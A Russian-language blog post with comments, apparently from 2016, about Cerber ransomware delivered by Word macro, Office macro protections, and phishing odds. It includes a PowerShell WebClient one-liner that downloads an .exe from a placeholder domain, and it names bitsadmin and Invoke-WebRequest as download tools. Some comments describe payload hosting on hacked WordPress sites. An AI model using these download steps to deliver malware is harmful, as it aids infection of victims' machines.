Кулхацкеры подсказали (загружается макросом из ворда, это крипторансомварь "Цербер", ссылка действующая, беваре) как из комстроки на венде загружать файло из энторнетов, без смс и регистрации необходимости тащить на машину вгет или курл если требуется просто что-то быстро утянуть:
кстати в чатике , где слава богу пока нет вовнея, подсказали -
The Invoke-WebRequest cmdlet sends HTTP, HTTPS, FTP, and FILE requests to a web page or web service. It parses the response and returns collections of forms, links, images, and other significant HTML elements.
This cmdlet was introduced in Windows PowerShell 3.0.
повершеллом таки ещё с 2008 года можно было дёргать .Net и соответственно делать в CLI например (new-object System.Net.WebClient).downloadfile("http://www.domain.tld/zhopa.exe","c:\temp\zhopa.exe")
у Invoke-WebRequest по дефолту алиас wget
а почему про bitsadmin никто не знает (включая меня) это большая загадка
Ну не всё так плохо. Чтобы запустить макрос при дефолтных настройках в современных офесах ему нужно убежать из защищённого режима (1) и согласиться на выполнение макросов (2), поэтому идиот должен быть клиническим.
Ну ничё, тащемта, если отправляется письмецо, скажем, трём сотням человек, пара десятков окажуются именно ими.
нуачо? вот смотри. допустим, есть некий инфобезопасник, например.. Евгений Онегин. Он поставил антиспам (например, яндексовый), антивирус (какой-то китайский бесплатный, или даже виндовс протектор или как там его), и длинк посередине. Ну, любит он длинки - на палу альту с лицензией на всякое денег нет. Конечно и ион и получивший будет считать что документ безопасен, а для экселя макросы внутре - норма жизни
Тут плохо то, что или макросов нет совсем, или они есть, и могут вообще всё.
Почему не сделать сендбокс, с отдельными настройками привелегий? Или там всё есть, и я просто отстал от жизни? Но, если так, тогда откуда все эти проблемы?
![[identity profile]](https://www.dreamwidth.org/img/silk/identity/openid.png){kind=small}
![[personal profile]](https://www.dreamwidth.org/img/silk/identity/user.png)
timeasmymeasure
no subject
Date: 2016-06-03 11:57 pm (UTC)no subject
Date: 2016-06-05 02:26 pm (UTC)GET /path/to/file HTTP/1.0
no subject
Date: 2016-06-04 04:59 am (UTC)no subject
Date: 2016-06-04 05:54 am (UTC)no subject
Date: 2016-06-04 02:56 pm (UTC)они как правило хакают непроапдейченный вордпресс и джумлу и заливают туда файло, которое потом этим сервером раздаётся жертвам
фтп это заморочки лишние с поднятием фтп сервера которого у многих нет и т.п. Кроме того он более заметный т.к. им никто не пользуется
no subject
Date: 2016-06-04 03:48 pm (UTC)no subject
Date: 2016-06-04 09:02 am (UTC)no subject
Date: 2016-06-04 03:48 pm (UTC)ну не то чтоб очень давно.
но в этом году...
no subject
Date: 2016-06-04 04:07 pm (UTC)The Invoke-WebRequest cmdlet sends HTTP, HTTPS, FTP, and FILE requests to a web page or web service. It parses the response and returns collections of forms, links, images, and other significant HTML elements.
This cmdlet was introduced in Windows PowerShell 3.0.
no subject
Date: 2016-06-05 02:17 pm (UTC)у Invoke-WebRequest по дефолту алиас wget
а почему про bitsadmin никто не знает (включая меня) это большая загадка
no subject
Date: 2016-06-05 02:20 pm (UTC)no subject
Date: 2016-06-06 11:41 am (UTC)no subject
Date: 2016-06-06 02:58 pm (UTC)no subject
Date: 2016-06-04 07:26 pm (UTC)Микрософт - пидарасы, безусловно.
Макросом, блядь, из текстового, блядь, редактора.
no subject
Date: 2016-06-04 07:58 pm (UTC)Ну ничё, тащемта, если отправляется письмецо, скажем, трём сотням человек, пара десятков окажуются именно ими.
no subject
Date: 2016-06-05 02:25 pm (UTC)Онегин. Он поставил антиспам (например, яндексовый), антивирус (какой-то китайский бесплатный, или даже виндовс протектор или как там его), и длинк посередине. Ну, любит он длинки - на палу альту с лицензией на всякое денег нет.Конечно и ион и получивший будет считать что документ безопасен, а для экселя макросы внутре - норма жизни
no subject
Date: 2016-06-05 06:17 pm (UTC)Почему не сделать сендбокс, с отдельными настройками привелегий?
Или там всё есть, и я просто отстал от жизни?
Но, если так, тогда откуда все эти проблемы?